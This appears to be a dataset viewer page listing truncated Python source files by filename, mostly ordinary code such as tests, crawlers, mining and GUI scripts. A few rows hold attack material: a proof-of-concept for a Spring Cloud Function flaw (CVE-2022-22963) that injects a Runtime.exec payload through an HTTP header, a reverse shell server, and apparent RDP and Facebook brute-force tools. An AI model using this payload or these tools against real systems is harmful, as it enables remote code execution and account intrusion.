source stringlengths 3 86 | python stringlengths 75 1.04M |
|---|---|
util.py | """
Test utility functions
"""
import logging
import pickle
import struct
import threading
import time
import unittest
import socketserver
import socket
import os
import json
import configparser
from contextlib import closing
from biokbase.narrative.common import util
from biokbase.workspace.client import Workspace
fro... |
Original.py | # -*- coding: utf-8 -*-
"""
Created on Wed Oct 24 04:19:09 2018
@author: Mikko Pohja
"""
import os
import sys
import cv2
import dlib
import numpy as np
import time
import threading
import glob
from skimage import io
face_recognition = dlib.face_recognition_model_v1('./models/dlib_face_recognition_resnet_model_v1.dat... |
alertdriver_test.py | # Copyright (c) 2020 AllSeeingEyeTolledEweSew
#
# Permission to use, copy, modify, and/or distribute this software for any
# purpose with or without fee is hereby granted.
#
# THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES WITH
# REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF MERC... |
main.py | import threading
from queue import Queue
from spider import Spider
from domain import *
from general import *
PROJECT_NAME = 'calstatela'
HOMEPAGE = 'http://calstatela.edu/'
DOMAIN_NAME = get_domain_name(HOMEPAGE)
QUEUE_FILE = PROJECT_NAME + '/queue.txt'
CRAWLED_FILE = PROJECT_NAME + '/crawled.txt'
CRAWLED_DICT_FILE =... |
client.py | #
# Licensed to the Apache Software Foundation (ASF) under one
# or more contributor license agreements. See the NOTICE file
# distributed with this work for additional information
# regarding copyright ownership. The ASF licenses this file
# to you under the Apache License, Version 2.0 (the
# "License"); you may not... |
prepro.py | #! /usr/bin/python
# -*- coding: utf-8 -*-
import copy
import threading
import time
import numpy as np
import itl as tl
import scipy
import scipy.ndimage as ndi
from scipy import linalg
from scipy.ndimage.filters import gaussian_filter
from scipy.ndimage.interpolation import map_coordinates
import skimage
from ... |
loop.py | import os
import asyncio
import threading
from . import session
class ChatLoop(object):
"""
Responsible for creating an `asyncio` event loop in a background thread
that chat sessions can share and for creating new chat sessions connected
to that thread and event loop.
"""
def __ini... |
Misc.py | ## @file
# Common routines used by all tools
#
# Copyright (c) 2007 - 2017, Intel Corporation. All rights reserved.<BR>
# This program and the accompanying materials
# are licensed and made available under the terms and conditions of the BSD License
# which accompanies this distribution. The full text of the lic... |
gdax.py | from bitfeeds.restful_api_socket import RESTfulApiSocket
from bitfeeds.ws_api_socket import WebSocketApiSocket
from bitfeeds.market_data import L2Depth, Trade
from bitfeeds.exchange import ExchangeGateway
from bitfeeds.instrument import Instrument
from bitfeeds.sql_storage_template import SqlStorageTemplate
from bitfee... |
asynchronous.py | """ This is the simplest aleph network client available.
"""
import asyncio
import hashlib
import json
import logging
import queue
import threading
import time
from abc import abstractmethod
from datetime import datetime
from enum import Enum
from functools import lru_cache
from yarl import URL
logger = logging.getLo... |
threading_example.py | import RPi.GPIO as GPIO
from time import sleep
from mpu6050 import mpu6050
from threading import Thread
# Sensor variables
global x
global y
global sensor
sensor = mpu6050(0x68)
# Direction pin from controller
DIR1 = 37
DIR2 = 29
# Step pin from controller
STEP1 = 35
STEP2 = 21
# 0/1 used to signify clockwise or cou... |
multiprocessingTest.py | from multiprocessing import Process, Value
import os, time, random
# 写数据进程执行的代码:
def write(q):
print('Process to write: %s' % q.value)
q.value=8
print('Process to write: %s' % q.value)
while q.value != 10:
time.sleep(5)
print('Process to write: %s' % q.value)
def runParentProcess():
q... |
launch.py | """Launching tool for DGL distributed training"""
import os
import stat
import sys
import subprocess
import argparse
import signal
import logging
import time
from threading import Thread
def execute_remote(cmd, ip, thread_list):
"""execute command line on remote machine via ssh"""
cmd = 'ssh -o StrictHostKeyCh... |
q11_multiprocessing.py | import multiprocessing
import time
# 子进程执行方法
def foo(n):
time.sleep(2)
print(n)
# 循环创建 10 个进程
for i in range(10):
print('i ===>', i)
# 创建子进程实例
p = multiprocessing.Process(target=foo, args=('person: %s' % i,))
# 运行子进程
p.start() |
sasiostdio.py | #
# Copyright SAS Institute
#
# Licensed under the Apache License, Version 2.0 (the License);
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed ... |
connection.py | import socket
import threading
from QChat.log import QChatLogger
from QChat.messages import HEADER_LENGTH, PAYLOAD_SIZE, MAX_SENDER_LENGTH, MessageFactory
from SimulaQron.cqc.pythonLib.cqc import *
class ConnectionError(Exception):
pass
class DaemonThread(threading.Thread):
"""
Thread class that default... |
session_test.py | # Copyright 2015 The TensorFlow Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applica... |
main04.py | from kivy.app import App
from kivy.uix.image import Image
from kivy.uix.button import Button
from kivy.uix.label import Label
from kivy.core.text import Label as ButtonText
from kivy.uix.image import Image
from kivy.core.window import Window
from kivy.clock import Clock
from kivy.properties import NumericProper... |
AVR_Miner.py | #!/usr/bin/env python3
##########################################
# Duino-Coin Python AVR Miner (v2.47)
# https://github.com/revoxhere/duino-coin
# Distributed under MIT license
# © Duino-Coin Community 2019-2021
##########################################
# Import libraries
import sys
from configparser import ConfigPar... |
ProcessRunner.py | import subprocess
from subprocess import Popen, PIPE
import errno
import signal
import threading
import time
import shlex
from mtm.ioc.Inject import Inject
from queue import Queue, Empty
class ResultType:
Success = 1
Error = 2
TimedOut = 3
class ProcessRunner:
_log = Inject('Logger')
def execNoWa... |
with_notebook.py | import os
import time
from threading import Thread
from jupyter_core.paths import jupyter_data_dir
import notebook
import IPython
from IPython.display import display, Javascript
from .vpython import GlowWidget, baseObj, canvas
from .rate_control import ws_queue
from . import __version__
import tornado.httpserver
imp... |
csprng.py | #!/usr/bin/env python3
#
# Playing around with creating a CSPRNG
#
# *DO NOT* use this in production for anything that matters
#
# Copyright (c) 2020, Ben Tasker
# All rights reserved.
#
# Redistribution and use in source and binary forms, with or without modification,
# are permitted provided that the following condi... |
ssl_test.py | #!/usr/bin/env python
"""Tests for API client + HTTPS server integration."""
import datetime
import io
import os
import socket
import SocketServer
import threading
from cryptography import x509
from cryptography.hazmat import backends
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primiti... |
data_store.py | #!/usr/bin/env python
"""The main data store abstraction.
The data store is responsible for storing AFF4 objects permanently. This file
defines the basic interface of the data store, but there is no specific
implementation. Concrete implementations should extend the DataStore class and
provide non-abstract methods.
T... |
try_multidae.py | from multiprocessing import Process
from paths import LND_PATH, LNCLI_PATH
from os import system
# https://lyceum-allotments.github.io/2017/03/python-and-pipes-part-6-multiple-subprocesses-and-pipes/
def run_lnd(directory):
system(
f"{LND_PATH} --bitcoin.active --bitcoin.testnet"
" --debuglevel=inf... |
widget.py | from ._version import js_version_info
import importlib.util
from urllib.parse import quote_plus
import json
# Widget dependencies
import ipywidgets as widgets
from traitlets import Unicode, Dict, Int, Bool
import time
# Server dependencies
import asyncio
from hypercorn.config import Config
from hypercorn.asyncio impo... |
Setup.py | """
Author: George Macrae
2014
"""
import pygame, pygbutton, sys
from pygame.locals import *
from socket import *
import threading
import textbox
import Matchup
import startGame
from Tkinter import Tk
from tkFileDialog import askopenfilename
FPS = 30
WINDOWWIDTH = 800
WINDOWHEIGHT = 700
WHITE = (255, 255, 255... |
datamunging.py | import logging
import time
import threading
class DataMunging:
mongo = None
def __init__(self, mongo, replicator_queue):
self.mongo = mongo
self.logger = logging.getLogger(__name__)
self.replicator_queue = replicator_queue
self.lock = threading.Lock()
self.last_seqnum ... |
testing.py | import bz2
from collections import Counter
from contextlib import contextmanager
from datetime import datetime
from functools import wraps
import gzip
import os
from shutil import rmtree
import string
import tempfile
from typing import Union, cast
import warnings
import zipfile
import numpy as np
from numpy.random imp... |
core_test.py | # Copyright 2017 The TensorFlow Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applica... |
integration_test_restart.py | import contextlib
import threading
import time
from .test_utils import (
TempDirectoryTestCase,
skip_unless_module,
skip_without_drmaa,
restartable_pulsar_app_provider,
integration_test,
)
from pulsar.manager_endpoint_util import (
submit_job,
)
from pulsar.managers.stateful import ActiveJobs
f... |
task.py | # copytrue (c) 2020 PaddlePaddle Authors. All Rights Reserve.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicab... |
py_utils.py | # Lint as: python3
# Copyright 2018 The TensorFlow Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless ... |
masters_day.py | from pepper.framework import *
from pepper.responder import *
from pepper.knowledge import sentences, animations
from pepper.language import Utterance
from pepper.language.generation.reply import reply_to_question
from pepper import config
from threading import Thread
from random import choice
from time import time
S... |
app.py | # ElectrumSV - lightweight Bitcoin client
# Copyright (C) 2019-2020 The ElectrumSV Developers
#
# Permission is hereby granted, free of charge, to any person
# obtaining a copy of this software and associated documentation files
# (the "Software"), to deal in the Software without restriction,
# including without limita... |
sender.py | import sys
import socket
import time
import timeit
from socket import *
import os
import struct
import hashlib
import pickle
import random
from threading import Thread
import time
import timeit
from operator import xor
import io
import threading
class Sender:
def __init__(self):
ack = 0
flag = 0
... |
__init__.py | # We import importlib *ASAP* in order to test #15386
import importlib
import importlib.util
from importlib._bootstrap_external import _get_sourcefile
import builtins
import marshal
import os
import platform
import py_compile
import random
import stat
import sys
import time
import unittest
import unittest.mock as mock
i... |
conditional_accumulator_test.py | # Copyright 2015 The TensorFlow Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applica... |
multiprocess_queue.py |
from urllib.request import urlopen
from bs4 import BeautifulSoup
import re
import random
from multiprocessing import Process, Queue
import os
import time
def task_delegator(taskQueue, foundUrlsQueue):
#Initialize with a task for each process
visited = ['/wiki/Kevin_Bacon', '/wiki/Monty_Python']
taskQueue... |
ocl_ga.py | #!/usr/bin/python3
import os
import sys
import zlib
import time
import random
import numpy
import pickle
import pyopencl as cl
import threading
from . import utils
from .utilities.generaltaskthread import TaskThread, Task, Logger
## A decorator class to notify state change before/after the action.
class EnterExit(obje... |
thread_pool.py | # Copyright: 2011 Brian Harring <ferringb@gmail.com>
# License: GPL2/BSD 3 clause
from collections import deque
import threading
from types import GeneratorType
import queue
from snakeoil.compatibility import IGNORED_EXCEPTIONS
from snakeoil.demandload import demandload
demandload(
'multiprocessing:cpu_count',
)... |
_polling.py | # ------------------------------------
# Copyright (c) Microsoft Corporation.
# Licensed under the MIT License.
# ------------------------------------
import logging
import time
import threading
import uuid
from typing import TYPE_CHECKING
from azure.core.polling import PollingMethod, LROPoller, NoPolling
from azure.c... |
run_callback_receiver.py | # Python
import logging
import os
import signal
import time
from functools import cmp_to_key
from uuid import UUID
from multiprocessing import Process
from multiprocessing import Queue as MPQueue
from queue import Empty as QueueEmpty
from queue import Full as QueueFull
from kombu import Connection, Exchange, Queue
fro... |
sourcecode.py | import tkinter as tk
from PIL import Image
from PIL import ImageTk
from tkinter import filedialog
import time,cv2
import numpy as np
from subprocess import check_output
import pyautogui
from threading import Thread, Lock
once = True
img_screenshot = None
cam = cv2.VideoCapture(0)
class App:
original_image = None
... |
synchronizer.py | import multiprocessing.dummy as multiprocessing
from time import sleep
import queue
import uuid
import random
input = multiprocessing.Queue()
stop_event = multiprocessing.Event()
stored_data = []
uuid_to_index = {}
def generate_data(id):
value = 1
while True:
if stop_event.is_set():
brea... |
subscriber.py | #!/usr/bin/env python
# Copyright 2016 Google Inc. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required... |
scrape.py |
"""
Scrape data from Jumia and Konga.
Add data to file.
Add data to database.
"""
from flask import Flask
from requests_html import HTML, HTMLSession
from time import perf_counter
from multiprocessing import Process
from csv import writer
from simplified.scrape.models import *
import os
app = Flask(__name__)
#datab... |
worlds.py | #!/usr/bin/env python3
# Copyright (c) Facebook, Inc. and its affiliates.
# This source code is licensed under the MIT license found in the
# LICENSE file in the root directory of this source tree.
from parlai.mturk.core.worlds import MTurkOnboardWorld, MTurkTaskWorld
import threading
class AskerOnboardingWorld(MTur... |
callbacks_test.py | # Copyright 2016 The TensorFlow Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by... |
mc9s12dg128.py | from helpers import *
from usbdm import*
from chips.chipinterface import ChipInterface
import threading
from queue import Queue
# Note: DJ64-Flash can only write word-length
# Chip standard Clock is 8Mhz
class MC9S12DG128(ChipInterface):
NAME = "MC9S12DG128"
ADDRESS_MAPPED_PAGE = 0x8000
ADDRESS_PROTECTION_... |
lab11_d.py | from sys import setrecursionlimit
import threading
setrecursionlimit(10 ** 9)
threading.stack_size(3 * 67108864)
def main():
inf = 10 ** 15 + 1
#Ford-Bellman algo
def get_marked(vertex):
marked[vertex] = 1
for current_vertex in matrix[vertex]:
if not marked[current_vertex]: get_... |
receiver.py | #!/usr/bin/env python
import sys
import asyncore
import email
import smtpd
import time
from threading import Thread
DEBUG = True
class CustomSMTPServer(smtpd.SMTPServer):
num = 0
def process_message(self, peer, mailfrom, recvtos, data):
msg = email.message_from_string(data).get_payload().strip()... |
TestContext.py | # -*- coding: utf-8 -*-
"""
Test pdtContext
"""
import time
import unittest
import parsedatetime as pdt
from parsedatetime.context import pdtContext
class test(unittest.TestCase):
def setUp(self):
self.cal = pdt.Calendar(version=pdt.VERSION_CONTEXT_STYLE)
(self.yr, self.mth, self.dy, self.hr, se... |
watch_proc_stats.py | #!/usr/bin/python3
"""
File: watch_proc_stats.py
Description: Monitors searches for processes with names containing a \
given string and monitors those processes statistics continuously
"""
# pylint: disable=C0325,R0902,R0903,E1101,F0401
# import os
import sys
import time
import logging
import threading
import subproce... |
client_connection.py | from .abstract_connection import AbstractConnection
from ..transport import AbstractTransport
from ..frames import SetupFrame, Frame_ABC, ErrorFrame, ErrorCodes
from ..common import RSocketConfig
from .keepalive_support import KeepaliveSupport
import threading
import rx
import rx.subject
from queue import PriorityQueue... |
prepare_data.py | # Copyright (c) 2020, NVIDIA CORPORATION. All rights reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by appli... |
test_api.py | from pymem.api import get_summary
from multiprocessing import Process, Event
def test_get_summary():
def sleep_until_wake(e):
e.wait()
e = Event()
p = Process(target=sleep_until_wake, args=(e,))
p.start()
pid = p.pid
summary = get_summary(pid)
e.set()
p.join()
assert len(... |
socketserver_echo_simple.py | #!/usr/bin/env python3
"""Echo server example for SocketServer
"""
#end_pymotw_header
import socketserver
class EchoRequestHandler(socketserver.BaseRequestHandler):
def handle(self):
# Echo the back to the client
data = self.request.recv(1024)
self.request.send(data)
return
if ... |
cli.py | import asyncio
import websockets
import multiprocessing
import json
import os
import shlex
from orchestration_manager import OrchestrationManager
from printer import ColorPrint
async def cli(host="localhost", port=80):
"CLI for Orchestration Manager"
def orchestration_manager() -> None:
"Orchestratio... |
train_pg.py | import numpy as np
import tensorflow as tf
import gym
import logz
import scipy.signal
import os
import time
import inspect
from multiprocessing import Process
#============================================================================================#
# Utilities
#====================================================... |
detector.py | # -*- coding:utf-8 -*-
#
# 封装道路二维码红十字等的检测函数,提供接口
# 用于检测和检测后的图片每50张存一次硬盘
#
from cv_detector.landmark_h import detect_h
from cv_detector.landmark import detect_landmark
from cv_detector.redcross import detect_redcross
from cv_detector.road import detect_road
from cv_detector.cv_read import CVRead
from cv_detector.qr imp... |
views.py | import threading
from django.http import HttpResponse
from django.shortcuts import render, redirect
from django.conf import settings
from django.core.mail import EmailMessage
from django.http import JsonResponse
import os
import subprocess
from . import models
from project.settings import BASE_DIR
# index.html file a... |
adniConverter.py | #!/usr/bin/env python
# -*- coding: utf-8 -*-
"""
Script that prepares ADNI-data for use with C5.0 and/or WEKA.
Takes a folder of xml files (metadata) and subfolders with .nii files (MRIs),
as downloaded from LONI archives via webbrowser (Java applet).
May perform dimensionality reduction (depending on arguments), and... |
http_server.py | import logging
import threading
import time
from collections import defaultdict
from functools import wraps
from flask_table import Table, Col
from flask import Flask, render_template, request, Response
from flask_bootstrap import Bootstrap
from source.utils import Nodes
from source.config import Config
logger = log... |
trainer.py | import os
import pickle
import shutil
import time
from datetime import datetime
from os.path import exists, join, relpath
from threading import Thread
from typing import List, Union, Optional, Dict, Tuple
import numpy as np
import tensorflow as tf
from tensorflow.python.training.adadelta import AdadeltaOptimizer
from ... |
chinese_idcard_number_area_generator.py | # -*- coding: utf-8 -*-
'''
模拟生成一组身份证号码区域图片,用来训练神经网络。
'''
import threading
import os
import shutil
import random
from PIL import Image, ImageDraw, ImageFont, ImageEnhance
COUNT = range(0, 500)
OUT_PATH = './generatedNumberAreaImages'
LABELS = '0123456789X'
def start():
'''
开始生成图片
1. 清空输出目录
2. 为了效... |
rforward.py | #!/usr/bin/env python
# Copyright (C) 2008 Robey Pointer <robeypointer@gmail.com>
#
# This file is part of paramiko.
#
# Paramiko is free software; you can redistribute it and/or modify it under the
# terms of the GNU Lesser General Public License as published by the Free
# Software Foundation; either version... |
bombV1.04.py | # MIT License
#
# Copyright (c) 2021 Pablo Henrique
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
# to use, copy, modify, merg... |
train.py | # Copyright (c) 2017 Sony Corporation. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicabl... |
test_greenlet_contextvars.py | import pytest, sys
from functools import partial
from greenlet import greenlet
from greenlet import getcurrent
from greenlet import GREENLET_USE_CONTEXT_VARS
from contextvars import Context
from contextvars import ContextVar
from contextvars import copy_context
def test_context_vars_enabled_on_py37():
assert GR... |
rl_movement_utils.py | #! /usr/bin/env python
"""A helper program to test cartesian goals for the JACO and MICO arms."""
import copy
from turtle import rt
import roslib
import rospy
import sys
import numpy as np
import threading, time
import actionlib
import kinova_msgs.msg
from rospy.client import wait_for_message
import std_msgs.msg
impo... |
notifier_group.py | import threading
class NotifierGroup(object):
def __init__(self, logger):
self._logger = logger
self._notifiers = {}
def add_notifier(self, name, notifier):
self._notifiers[name] = notifier
def get_notifiers(self, limit=[]):
if limit:
limit = filter(lambda x: ... |
checkvmavail.py | # Copyright (c) 2014 Barnstormer Softworks, Ltd.
# This Source Code Form is subject to the terms of the Mozilla Public
# License, v. 2.0. If a copy of the MPL was not distributed with this
# file, You can obtain one at http://mozilla.org/MPL/2.0/.
import multiprocessing as MP
import time
import geni.aggregate.insta... |
shazi.py | #shazi.py
from ShazamAPI import Shazam
from threading import Thread
import traceback
from pydub import AudioSegment
import time
# class Shazi(object):
'''
None-blocking function to get title, artist, and other shazam data from a file
'''
def shazam(mp3path, outDict = None, checkFull = False):
if outDict is None:
... |
poc-CVE-2022-22963.py | import requests
import sys
import threading
import urllib3
urllib3.disable_warnings()
def scan(txt,cmd):
payload=f'T(java.lang.Runtime).getRuntime().exec("{cmd}")'
data ='test'
headers = {
'spring.cloud.function.routing-expression':payload,
'Accept-Encoding': 'gzip, deflate',
'Ac... |
dataset.py | # Copyright 2020 - 2021 MONAI Consortium
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
# http://www.apache.org/licenses/LICENSE-2.0
# Unless required by applicable law or agreed to in wri... |
project.py | '''
这一文件是总控制程序,它的工作原理为:
创建线程池
调用GUI绘制程序
调用面部识别(关于这一功能还存在疑问,但是还是先试验一下线程流畅性)
GUI界面的交互按钮将在被唤醒时开启舵机/电机控制程序以及时间控制程序
GUI界面始终保持运行,监听用户唤醒操作
''''
import threading
import GUI
import face_detection
def test():
print(threading.active_count()))
print(threading.enumerate())
print(threading.current_thread())
if __name__ ==... |
test_server.py | # Copyright 2014-2021 The aiosmtpd Developers
# SPDX-License-Identifier: Apache-2.0
"""Test other aspects of the server implementation."""
import asyncio
import errno
import platform
import socket
import time
from contextlib import ExitStack
from functools import partial
from threading import Event
from pathlib impor... |
test_clients_streaming.py | import asyncio
import os
import time
from datetime import datetime
from functools import partial
from multiprocessing import Process, current_process
from typing import List
import pytest
from jina import Client, Document, DocumentArray, Executor, Flow, requests
INPUT_LEN = 4
INPUT_GEN_SLEEP_TIME = 1
SLOW_EXECUTOR_S... |
tests.py | """
Unit tests for reverse URL lookups.
"""
import sys
import threading
from admin_scripts.tests import AdminScriptTestCase
from django.conf import settings
from django.conf.urls import include, url
from django.contrib.auth.models import User
from django.core.exceptions import ImproperlyConfigured, ViewDoe... |
CntlrWebMain.py | '''
Created on Oct 3, 2010
Use this module to start Arelle in web server mode
@author: Mark V Systems Limited
(c) Copyright 2010 Mark V Systems Limited, All rights reserved.
'''
from arelle.webserver.bottle import Bottle, request, response, static_file
import os, io, sys, time, threading, uuid
from arelle import Vers... |
server.py | # Python3 Multi-Threaded Reverse Shell - Server.py
import socket
import threading
import sys
import time
from queue import Queue
# Setup threading
NUMBER_OF_THREADS = 2
JOB_ID = [1, 2]
queue = Queue()
all_connections = []
all_addresses = []
# Create socket
def socket_create():
try:
global host
global port... |
models.py | from __future__ import absolute_import
from __future__ import print_function
import numpy as np
import warnings
import pprint
from six.moves import range
import six
import time
import threading
try:
import queue
except ImportError:
import Queue as queue
from . import backend as K
from . import optimizers
from ... |
win32spawn.py | #
# File : win32spawn.py
# This file is part of CMCC IOT OS
# COPYRIGHT (C) 2012-2020, CMCC IOT
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version 2 of the License, ... |
build_environment.py | # Copyright 2013-2020 Lawrence Livermore National Security, LLC and other
# Spack Project Developers. See the top-level COPYRIGHT file for details.
#
# SPDX-License-Identifier: (Apache-2.0 OR MIT)
"""
This module contains all routines related to setting up the package
build environment. All of this is set up by packa... |
all_bots.py | #!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
@author: josem
Bot de Telegram que devuelve la IP del servidor
Adaptado de los bots de Alberto disponibles en umucv
"""
# Libreria Telegram
from telegram.ext import Updater, CommandHandler, MessageHandler, Filters
# OpenCV
import cv2 as cv
# Enviar bytes
f... |
blaster_rdp.py | #!/usr/bin/env python2
# This is
#
#
# by sn0wfa11
import sys
try:
import os
import socket
import multiprocessing
import threading
import argparse
import subprocess
import re
import time
from lib.common import *
from lib.network import *
except Exception, err:
print >> sys.stderr, err
sys.e... |
test.py | import socket as s
import struct
import numpy as np
import threading
import yolo
port = 4444
serversocket = s.socket()
serversocket.bind((s.gethostname(), port))
serversocket.listen()
def udp_thread():
udp_sock = s.socket(s.AF_INET, s.SOCK_DGRAM)
udp_sock.bind((s.gethostname(),4445))
print('Waiting for u... |
utilities.py | import inspect
import signal
import random
import time
import traceback
import sys
import os
import subprocess
import math
import pickle as pickle
from itertools import chain
import heapq
import hashlib
def computeMD5hash(my_string):
# {{{
# https://stackoverflow.com/questions/13259691/convert-string-to-md5
... |
test_engine_support.py | # -*- coding: utf-8 -*-
## Copyright 2009-2021 NTESS. Under the terms
## of Contract DE-NA0003525 with NTESS, the U.S.
## Government retains certain rights in this software.
##
## Copyright (c) 2009-2021, NTESS
## All rights reserved.
##
## This file is part of the SST software package. For license
## information, see... |
thread_queue.py | #!/usr/bin/python
# -*- coding: utf-8 -*-
# @File : thread_queue.py
# @Time : 2019/2/15 0:17
# @Author : MaiXiaochai
# @Site : https://github.com/MaiXiaochai
import time
import threading
import variables
"""
注意,这里如果写 import varibles.detail_url_list as url_list,
那么其他线程对detail_url_list的修改,在这里是看不到的。
所以,要用 im... |
test_linsolve.py | from __future__ import division, print_function, absolute_import
import warnings
import threading
import numpy as np
from numpy import array, finfo, arange, eye, all, unique, ones, dot, matrix
import numpy.random as random
from numpy.testing import (TestCase, run_module_suite,
assert_array_almost_equ... |
FrontServer.py | #!/usr/bin/env python3
import socket
import threading
import asyncio
import time
from message import Message
import TorzelaUtils as TU
# Initialize a class specifically for the round info.
# This class will track if a round is currently ongoing or not, the
# actual identifying number of the round, the time it ended, ... |
python_ls.py | # Copyright 2017 Palantir Technologies, Inc.
import json
import logging
import os
import socketserver
import threading
import keras
import numpy as np
from functools import partial
from hashlib import sha256
from pyls_jsonrpc.dispatchers import MethodDispatcher
from pyls_jsonrpc.endpoint import Endpoint
from pyls_json... |
test_hub.py | import pytest
import os, struct, copy, sys
from functools import partial
import logging, threading
from asyncio import coroutine
from curio import kernel, sleep, spawn, Event
import time
from mock import Mock
from mock import patch, call, create_autospec
from mock import MagicMock
from mock import PropertyMock
from h... |
ssh.py | from logging import getLogger, FileHandler, Formatter
from paramiko import (
AUTH_FAILED,
AUTH_SUCCESSFUL,
RSAKey,
OPEN_FAILED_ADMINISTRATIVELY_PROHIBITED as OPEN_FAILED,
OPEN_SUCCEEDED,
ServerInterface,
SSHClient,
Transport,
WarningPolicy,
)
from pathlib import Path
from socket impo... |
__init__.py | import sys
import win32com.client
import speech_recognition as sr
import threading
import time
from . import common
__all__ = [
'語音合成', '設定語音音量', '設定語音速度', '語音說完了嗎',
'語音辨識google', '辨識成功了嗎', '取得辨識文字',
'等待語音說完','語音辨識azure', '暫停語音辨識',
'繼續語音辨識', '語音辨識中嗎',
]
#... |
p2p_stresstest.py | #!/usr/bin/env python3
# Copyright (c) 2019-2020 Jonathan Toomim
# Copyright (c) 2020 The Bitcoin Cash Node developers
# Distributed under the MIT software license, see the accompanying
# file COPYING or http://www.opensource.org/licenses/mit-license.php.
'''
stresstest -- test spam generation and localhost block propa... |
DarkFB.py | # -*- coding: utf-8 -*-
import os, sys, time, datetime, random, hashlib, re, threading, json, getpass, urllib, requests, mechanize
from multiprocessing.pool import ThreadPool
try:
import mechanize
except ImportError:
os.system('pip2 install mechanize')
else:
try:
import requests
except ImportEr... |
othello.py | from tkinter import *
import threading
from alphabeta import Alphabeta
POS_INFINITY = 100000000000
NEG_INFINITY = -POS_INFINITY
BELI = "Beli"
CRNI = "Črni"
CLOVEK = "človek"
RACUNALNIK = "računalnik"
navodila = ["Othello ali reversi je strateška igra na igralni deski z 8 × 8 polji za dva igralca. ",
"Ig... |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.